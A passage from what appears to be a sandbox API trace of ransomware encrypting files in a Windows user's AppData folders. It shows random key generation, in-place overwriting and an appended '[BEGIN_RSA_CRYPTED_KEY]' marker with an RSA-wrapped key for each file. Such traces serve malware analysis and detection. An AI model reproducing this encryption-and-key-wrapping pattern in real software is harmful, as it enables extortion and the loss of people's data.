pszString="5dHH9VvAvUGQ5TTVZj/AFMvFQJv2G89+T3FlPYLyFxYUXksj/4hRTv1k1/zihWWu\nBywU1wOkq/V2jselHoJvIVpT6hhfL6a5Rct3yo6JzRuY0g7A86LH6noOUlRES1T/\nEymbU0Iedi4Pj/Zif9jgHLc7dMO8wzAcKCHb7+w75hLOV7XzWBjG+MErpBlW91y6\nJo29t4n75QPV2tjwaAXK5dFgYVD0sKF8/MVPiLPPE3CtL46UbtQKXu0nS7atnVdk\nBWZdaxFWVkm809Ic7WwE6bVP4SAfRmCVPmXhGVEFLBNf9U/2ecjyyfXnRGgfCbRd\ncAYfqcLYmwm4WpoUBBewYg==\n", pcchString=0x2e3f9a8) returned 1 [0202.141] WriteFile (in: hFile=0x1298, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0202.141] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0202.141] WriteFile (in: hFile=0x1298, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0202.141] CloseHandle (hObject=0x1298) returned 1 [0202.143] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0202.143] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsCamera_8wekyb3d8bbwe\\Settings\\roaming.lock", dwFileAttributes=0x80) returned 1 [0202.144] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xd0) returned 0x668fb0 [0202.144] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x136) returned 0x5bd3b8 [0202.144] ReadFile (in: hFile=0x1298, lpBuffer=0x59d380, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d380*, lpNumberOfBytesRead=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0202.144] SetFilePointer (in: hFile=0x1298, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0202.144] WriteFile (in: hFile=0x1298, lpBuffer=0x59d290*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d290*, lpNumberOfBytesWritten=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0202.144] SetFilePointer (in: hFile=0x1298, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x0 [0202.144] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0202.144] WriteFile (in: hFile=0x1298, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0202.146] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0202.146] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0202.146] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0202.146] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0202.146] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="J9LHLs3yNrAsdepJPBO3Kx7lycnZwtFgRARFHCij8IH8cPgL2glvAxbM+gWoAHey\nlNi3POLGD1b6BwDanVTgjCekUdtE3Oq0c1wh1EQfX7qDeYLJ7vAN87lONCRIALQ0\nVHdUU1ApN4DXRy4dRKcmtcGhH+nwoL8eywTyM6XFxNJmUUG9R8yjY4TocmPdNeff\nBA49iFBgiBdUVHM4qXDulFZvIKPIF6Jr2OqyQnPkYGTa1PnH1JxYReUYduv3yjyy\nzLFVQpbdK+o1X05yQ1o0onyV42VtpRvfamBOTPVVuWyzdLUMIvsynkgPUE8X1XNt\nNcCXKbksIAWraWVJncWHIg==\n", pcchString=0x2e3f9a8) returned 1 [0202.146] WriteFile (in: hFile=0x1298, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0202.147] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0202.147] WriteFile (in: hFile=0x1298, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0202.147] CloseHandle (hObject=0x1298) returned 1 [0202.245] WriteFile (in: hFile=0x12a4, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0202.247] CloseHandle (hObject=0x12a4) returned 1 [0202.247] WriteFile (in: hFile=0x12a4, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0202.248] CloseHandle (hObject=0x12a4) returned 1 [0202.253] WriteFile (in: hFile=0x12a4, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0202.254] CloseHandle (hObject=0x12a4) returned 1 [0202.276] WriteFile (in: hFile=0x12a4, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0202.278] CloseHandle (hObject=0x12a4) returned 1 [0202.281] WriteFile (in: hFile=0x12b0, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0202.282] CloseHandle (hObject=0x12b0) returned 1 [0202.283] WriteFile (in: hFile=0x12b0, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0202.284] CloseHandle (hObject=0x12b0) returned 1 [0202.288] WriteFile (in: hFile=0x12b0, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0202.290] CloseHandle (hObject=0x12b0) returned 1 [0202.290] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0202.290] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\microsoft.windowscommunicationsapps_8wekyb3d8bbwe\\LocalState\\HxStore.hxd", dwFileAttributes=0x80) returned 1 [0202.290] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xe0) returned 0x661b08 [0202.290] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x14e) returned 0x5b3b90 [0202.291] ReadFile (in: hFile=0x12b0, lpBuffer=0x3543020, nNumberOfBytesToRead=0x400000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3543020*, lpNumberOfBytesRead=0x2e3f9b4*=0x400000, lpOverlapped=0x0) returned 1 [0202.942] SetFilePointer (in: hFile=0x12b0, lDistanceToMove=-4194304, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0202.942] WriteFile (in: hFile=0x12b0, lpBuffer=0x395d020*, nNumberOfBytesToWrite=0x400000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x395d020*, lpNumberOfBytesWritten=0x2e3f9b4*=0x400000, lpOverlapped=0x0) returned 1 [0202.990] SetFilePointer (in: hFile=0x12b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x400000 [0202.990] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0202.990] WriteFile (in: hFile=0x12b0, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0203.001] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0203.001] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0203.002] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0203.002] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0203.002] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="1nZcFE0Aj3/AI+FjW9hSw98V5abhCCvk2B0viAd+mVizS5bN+H13ziDB7zxmhyhl\n2y4CvkzOSYNippt2GeT68obORb7UDHtbK3MVgs3jiwJuvGzRRy4YCKJBxBBRNj70\njw1VXbgcdIT1tm5hJowNQD/y1cAcd5fqO/id99C95RoPzEOhhGDG2ZB6F2e1uPIs\nwQvLSfbL14Ev/FLn4017u0pLvYGO/mHsX2bG45NrxvhSJihuueuq1oxZ8E9majXc\nZtNdl0E/bKpclUT6mJHyYwZ8HMgk/HfPHMDXUvgM5cbRjlHk/jUjVbQxK/OjvEJX\noIDH1mbzHRuyIRA1kf9GKQ==\n", pcchString=0x2e3f9a8) returned 1 [0203.002] WriteFile (in: hFile=0x12b0, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0203.002] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0203.002] WriteFile (in: hFile=0x12b0, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0203.003] CloseHandle (hObject=0x12b0) returned 1 [0203.220] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0203.221] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\microsoft.windowscommunicationsapps_8wekyb3d8bbwe\\Settings\\settings.dat.LOG2", dwFileAttributes=0x80) returned 1 [0203.221] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xf0) returned 0x6596d0 [0203.222] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x166) returned 0x5b3b90 [0203.222] ReadFile (in: hFile=0x12b8, lpBuffer=0x59d250, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d250*, lpNumberOfBytesRead=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0203.222] SetFilePointer (in: hFile=0x12b8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0203.222] WriteFile (in: hFile=0x12b8, lpBuffer=0x59d350*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d350*, lpNumberOfBytesWritten=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0203.222] SetFilePointer (in: hFile=0x12b8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x0 [0203.222] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0203.222] WriteFile (in: hFile=0x12b8, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0203.223] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0203.223] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0203.224] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0203.224] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0203.224] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="3nvXc1WB+gVA1C2wjt/bZooIiC8I61Tw+fxCfRoXWyeOyH7IEI5HQ258ME6D+Wcd\nzNVVcuVdyIF65l6+ZdpEIqW/kheFDEOf0BxGFww4gqNJHFr44ngIc6Fee5C+Q+nd\noumwBY6a0DNqZJ2Yca3N8k0Wk1pVOSjXAROd56r5f+jKR0GY64GB83NBARfn4+5n\n4ayyLqKf8bYwPA/CIKL46Np7s8BsDz+0IhsVx4LvcN6dCQ7+B0sNtB6exjFvfJD6\nbGlX/JqfjacRSea4U1XhyyKhAUDsehNHr+NcgRVSiIWrJwHdeeOnOYxn4bMnoHEt\nzj7WdMhrnZyEeC+JqW/hNQ==\n", pcchString=0x2e3f9a8) returned 1 [0203.224] WriteFile (in: hFile=0x12b8, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0203.224] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0203.224] WriteFile (in: hFile=0x12b8, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0203.225] CloseHandle (hObject=0x12b8) returned 1 [0203.227] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0203.227] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\microsoft.windowscommunicationsapps_8wekyb3d8bbwe\\Settings\\settings.dat.LOG1", dwFileAttributes=0x80) returned 1 [0203.227] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xf0) returned 0x6593e8 [0203.227] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x166) returned 0x5b3b90 [0203.227] ReadFile (in: hFile=0x12b8, lpBuffer=0x2f2d010, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f2d010*, lpNumberOfBytesRead=0x2e3f9b4*=0x4000, lpOverlapped=0x0) returned 1 [0203.264] SetFilePointer (in: hFile=0x12b8, lDistanceToMove=-16384, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0203.264] WriteFile (in: hFile=0x12b8, lpBuffer=0x2f31018*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f31018*, lpNumberOfBytesWritten=0x2e3f9b4*=0x4000, lpOverlapped=0x0) returned 1 [0203.265] SetFilePointer (in: hFile=0x12b8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x4000 [0203.265] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0203.265] WriteFile (in: hFile=0x12b8, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0203.265] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0203.265] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0203.266] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0203.266] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0203.266] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="wguAfQefIOl9J+obr9mDLmWb5htFotKj72du78bObokQ/8slGG603KzdFewizkck\nHc68LKgIHSVUMJhZ75hYwW9p54nNEW2FzNzmVbdtG5JfxvyU5iII1fkfIPVgh4Uh\nistYOE2wZjE4FaqKrBXHZWJGgAwOUg9+KRwKNuLQr2R5k3bOi3E9lg/zMhO2WhCH\noT3bv4q9MrC0gJsE+1QirjWMQQVRgl/pItk35PTiO9r1CokFSSyx6bpe4eDiZIvR\nDBA1xMpI7QEJnAXKeK8p0AT6XQ1KkLZq7neMCrZP2w0mePSSzHkmH+yZl8E1lZQ/\nGBQ/Qr9IDSEOyaJkKCBySA==\n", pcchString=0x2e3f9a8) returned 1 [0203.266] WriteFile (in: hFile=0x12b8, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0203.266] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0203.266] WriteFile (in: hFile=0x12b8, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0203.266] CloseHandle (hObject=0x12b8) returned 1 [0203.268] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0203.268] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\microsoft.windowscommunicationsapps_8wekyb3d8bbwe\\Settings\\settings.dat", dwFileAttributes=0x80) returned 1 [0203.269] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xe0) returned 0x661bf0 [0203.269] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x14e) returned 0x5b3b90 [0203.269] ReadFile (in: hFile=0x12b8, lpBuffer=0x2f2d010, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f2d010*, lpNumberOfBytesRead=0x2e3f9b4*=0x4000, lpOverlapped=0x0) returned 1 [0203.355] SetFilePointer (in: hFile=0x12b8, lDistanceToMove=-16384, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0203.355] WriteFile (in: hFile=0x12b8, lpBuffer=0x2f31018*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f31018*, lpNumberOfBytesWritten=0x2e3f9b4*=0x4000, lpOverlapped=0x0) returned 1 [0203.355] SetFilePointer (in: hFile=0x12b8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x4000 [0203.355] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0203.355] WriteFile (in: hFile=0x12b8, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0203.356] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0203.356] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0203.356] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0203.356] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0203.356] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="TZxkNvHRe2pQI8g1G9vSCg1psxreCGtYypU//PhZRUrI5P3N1hLCZ7XkYUQKyr3t\nntmz9YFFKoUMgbJHW5DQv/54KVZnNPFRCOa8pS7dfDGDDRp7dT/myndufRqJO+qE\nbveJxt4Ea/aUUZG0uo8ssrhZjYVCwKpGtpS8K1iRUwr4nkTOhSQNxzj2LTgL0O/H\n7wnf5K1HUbfxQxT+RtKpy09guV+xorqHSoZJdzbpVCiwb7DXIP/hzrbjFTxP/Nd5\nwRNlfrnWKubXNWnI/KGv1jnCuP2IilLo3ypJ03wjoP7h7TCG7CeVGsotbrhTsIu3\nuqfK4f2Xs6737Os/m7Bmog==\n", pcchString=0x2e3f9a8) returned 1 [0203.356] WriteFile (in: hFile=0x12b8, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0203.357] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0203.357] WriteFile (in: hFile=0x12b8, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0203.357] CloseHandle (hObject=0x12b8) returned 1 [0203.358] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0203.358] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\microsoft.windowscommunicationsapps_8wekyb3d8bbwe\\Settings\\roaming.lock", dwFileAttributes=0x80) returned 1 [0203.359] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xe0) returned 0x661b08 [0203.359] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x14e) returned 0x5b3b90 [0203.359] ReadFile (in: hFile=0x12b8, lpBuffer=0x59d430, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d430*, lpNumberOfBytesRead=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0203.359] SetFilePointer (in: hFile=0x12b8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0203.359] WriteFile (in: hFile=0x12b8, lpBuffer=0x59d4b0*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d4b0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0203.359] SetFilePointer (in: hFile=0x12b8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x0 [0203.359] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0203.359] WriteFile (in: hFile=0x12b8, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0203.360] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0203.360] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0203.360] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0203.360] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0203.360] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: 